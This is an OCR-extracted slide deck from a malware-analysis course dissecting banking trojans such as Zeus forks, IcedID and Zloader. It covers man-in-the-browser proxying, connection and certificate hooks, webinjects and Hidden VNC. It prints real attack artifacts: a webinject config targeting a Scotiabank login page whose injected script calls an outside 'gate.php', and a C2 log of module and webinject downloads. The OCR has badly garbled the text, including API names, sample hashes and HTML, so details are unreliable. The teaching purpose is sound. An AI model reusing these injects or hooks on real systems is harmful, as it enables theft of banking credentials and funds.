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https://github.com/hasherezade/malware_training_vol1

Dissecting a Banking Trojan

oooooooooooooooooooooo



Banking Trojans - families

o /bots - (a family of various forks of the Zeus code)

e |ced|D

e [inba

e [ozi (and bozi-based)

* Kronos

e [rickBot (some of the modules)
e ..and others

oooooooooooooooooooooo



Flements of a Banking Trojan

e [lassic banking trojans modity the content of selected websites (related to banking
transactions)

 Webinjects
« Webgrabbers

e Animportant element of a banking trojan is MITB proxy (Man-In-The-Browser)
 MITB proxy is a local proxy via which the traffic is bypassed and moditied

« Sometimes to bypass the protections used by banks, the operator needs to remotely
access and use the victim machine (using Hidden VNC)

oooooooooooooooooooooo



Elements of a Banking Trojan
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Flements of a Banking Trojan

e Malware can run its own Proxy server to which the browser will connect, whenever it
tries to connect with the target address

e The redirection is implemented by hooking the function responsible for establishing the
connection

o The traffic that bypassed by the malicious proxy is parsed, and may be augmented with
webinjects



Operation of a Banking Trojan

e |nstead of connecting directly to the remote server, the browser connects to the local
proxy, run by the malware's core module

-

Certificate

X Settings General | Details | Certification Path

B scotiabank.com/global/en/global-site.html
:H Certificate Information

Connection is secure

This certificate is intended for the following purpose(s):
« All application polides

Issued to:  www.scotiabank. com

Issued by: Ocgabyo

Valid from 2020- 0&6- 10 to 20%




Operation of a Banking Trojan

e The requested page is first processed by the malicious proxy...

® SignintoScotiabank Dig X | https://www.scotiaonline.sc X | +

G (i) view-sou rce:https://www.scotiaonline.scotiabank.com/online/authentication/authentication.bns

<!DOCTYPE html PUBLIC TD XHTML 1.0 Transitiomal//EN" “htip://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd" =
<html xmlns="http://www.w3.0rg/ Jxhtml" xml:lang="en" lang="en"=
<head=

<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta http-equiv="content-language" content="en" /=
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /=<script src=

<title=

Sign in to Scotiabank Digital Banking Services
</title>

<meta http-equiv="Cache-Control" content="n
<meta http-equiv=' content="no-cache"
<meta http-equiv="exp " content="0"

- srssasnnen srsssnnnene



Operation of a Banking Trojan

e The proxy uses a special template to know where to implant the webinjects
e When the pattern is found, the malicious code is implanted

File Edit View History Bookmarks Tools Help
§ Facebook - LoglnorSignUp X Sign in to Scotiabank Digital E- X cotiaonline.scotiabar X https://www.scotiabank.com,/glo
c ‘@ ) view-source:https:/fwww.scotiaonline.scotiabank.com/onl b W Search In @O @

<!DOCTYPE html PC TML 1.0 Transitiomal//EN" "http://www.w3.org/TR/xhtmll/DID/xhtmll-transitional.dtd” >
<html xmlns="nttE ntml" xml:lang="en" lang="en">

<meta http-eqmiwv=" nt content="text/n

<meta http-equnivw
<meta http-eqoiv="2X-

<meta http-equnivw
<meta http-equnivw content="no-
<meta http-equiv 3 " content="0" />




MiTB Proxy - 1implementation

e Run a local proxy able to parse HITP/HTTPY traffic

« Requires generating your own certificate

e Redirect all the HTTP/HTTPS traftic via the local proxy:

* Hook functions in the browser:
« |) the functions responsible for establishing the connection
e 7) the functions responsible for accepting the certificate

« Parse and augment the traffic



M1TB Proxy - hooks example

e The functions responsible for establishing connection:

Ws2_32.connect

e The functions responsible for accepting the certificate

Nss32.SSL_AuthCertificateHook



M1TB Proxy - hooks example

e The functions responsible for establishing connection:

Ws2_32.connect
mswsock.dll + RVA:0Ox7852

e The functions responsible for accepting the certificate

Crypt3d2.CertGetlertificateChain
Crypt32.CertVerifyCertificateChainPolicy



M1TB Proxy - hooks example

e The functions responsible for establishing connection:

Ntdll.NtDeviceloControlFile -> args: AFD_CONNECT. AFD_X32_CONNECT

e The functions responsible for accepting the certificate

Crypt3d2.CertGetlertificateChain
Crypt32.CertVerifyCertificateChainPolicy

(IExplore)



M1TB Proxy - hooks example

e The functions responsible for establishing connection:

Ntdll.NtDeviceloControlFile -> args: AFD_CONNECT. AFD_X32_CONNECT

« [nstead of APl hooking, the certificate is installed by Certutil

(Firefox)



Traffic redirection-examples

 We are given a dump of the implants found in the browser process by PE-sieve. Analyze
what hooks have been installed and how do they implement the traffic redirection

Case-study time...



Webinjects -

implementation

e The definitions of Webinjects following the Zeud standard:

set_url https://%x G

data_before
<title>
data_end

data_after
</title>
data_end

data_inject
INJECT
data_end

P - run on POST request-.

G - run on GET request.

L - if this symbol is specified. then the
launch occurs as an HTTP grabbera. if not
specified. then as an HTTP injection-.

H - complements the "L" character. saves
content without HTML tag clipping- In normal
mode-. all HTML tags are deleted-. and some are
converted to the newline or space

character.

I - compare the case-sensitive url parameter
(for the English alphabet only).

C - compare case insensitive (for the English
alphabet only).

B - block execution of the injection.

 Ssassssses sERRsEREREw T

I>

ol

L |
-



Webinjects - 1implementation

« The webinjects are installed following a configuration file, that is usually downloaded from
the CZ server

»12 200 'S5 45.72.3.132 fweb7543/gate.php 299 555 msiexec: download: hvnc32.dl
=13 200 5 45,72.3.132 fweb7543/gate.php 926 366 msiexec: download: sglite3.dll
200 5 5 72 3132 Sweh7643/0ate ohn L g aiexec: 3755 download: z7lib 1.
45.72.3.132 /web7543/gate.php 957  msiexec: beacon + process list - >download: webinjects
a.42,.0. 1ad  fweb/oSa/gate.php L NEEE LT

45,72.3.132 /web7643/gate.php oo MBiENeC:

ooooooooooooooooooooo



Webinjects - 1implemantation

o Atter decrypting the traffic we can see the familiar patterns:




Webinjects - implementation

e The definitions of Webinjects in the malware configuration file:

set_url https://www*.scotiaonline.scotiabank.com/online/* GP

data _before

zhead*>

data_end

data_inject

<script>var home_link = "https://domain-apps-free.com/scotiaadmin";var gate_link = home_link+"/gate.php";var pkey = "Bc5rw:
data_end

data_after

data_end



https://gist.github.com/hashereware/07b9c2a8624498030a942fccf277bbdb#file-webinjects1-txt-L80

Webinjects - implementation

e This is where the observed script came from...

File Edit View History Bookmarks Tools Help

§ Facebook - LoglnorSignUp X Sign in to Scotiabank Digital E- X 1 rscotiaonline ) https://www.scotiabank.com,/glo

c ‘@ view-source:https:/fwww.scotiaonline.scotiabank.com/onl wa W

CTYPE html F S / T .0 Tra LE1 1 ’ ] s
<html xmlns="h xml : lang

<meta http-eqmni content="tes
1eta http-eqniv " pontent
<meta http-eqniv="X " pcontent="1E

<title>

rol™ content="no
content="
content=

- srssasnnen srsssnnnene -



Hidden VNC - the 1des

* |n order to perform some banking operations, the attackers need to use a VNC on the
victim machine

* |n a normal case, the victim could see the attacker's movements on their desktop

* |n order to hide it, the attackers use the feature of alternative desktops
e this feature is well-known to Linux users, but not comman - yet feasible - on Windows

* You can create an alternative Desktop on Windows, and switch some applications to be
displayed there

e Example:


https://github.com/MalwareTech/CreateDesktop/

Hidden VNC -

Create the Hidden Desktop \

Perform the actions on the Hidden
Desktop

Let updated state
HiddenVNC module

.8

overwliew

Send screenshots
Render a local view

Perform the actions on the local view

Send screenshots

Update the local view

The malware operator

N
-4



Hidden VNC - rendering

 Windows renders only the elements for the currently active desktop - so, using the
alternative desktop simultaneously is not easy: requires manual implementation of the
rendering

* EnumDesktoplWindows - get list of all Windows running on the Desktop

* PrintWindow - render the window to a bitmap
e messages: WM_PRINT, WM_PRINTCLIENT

« Some applications don't handle those messages: so, the malware has to hook them, and
provide its own implementations

e |t can be implemented i.e. by hooking user32.d11, or window subclassing
(SetWindowlLong,SetWindowLongPtr)



Hidden VNC - user 1nput

* The messages about the user input (keyboard, mouse, etc) will be send only the active
Desktop

e The Hidden VNC module has to implement emulation of a virtual keyboard and mouse

e |t requires keeping track of every window on the Hidden Desktop, each locations, and on
which of them the mouse cursar is

« dending PostMessage to the active window to emulate the user input



Hidden VNC - examples

e Many Banking trojans use Hidden VNC as a separate module

e |cedID (,helpdesk” module)
« 2959091lacH9efa544407?ateccklbaq4lb - helpdesk.dll

* Silent Night Zbot (hvncdZ.dll/hvncb4.dll)
» 7ee0fd4ebl?d98?48fbf0?d54925dc L2 - hven3Zdl

Case-study time: open the provided Hidden VNC sample in IDA



Further readings...

e The "Silent Night" Zloader//bot:


https://resources.malwarebytes.com/files/2020/05/The-Silent-Night-Zloader-Zbot_Final.pdf

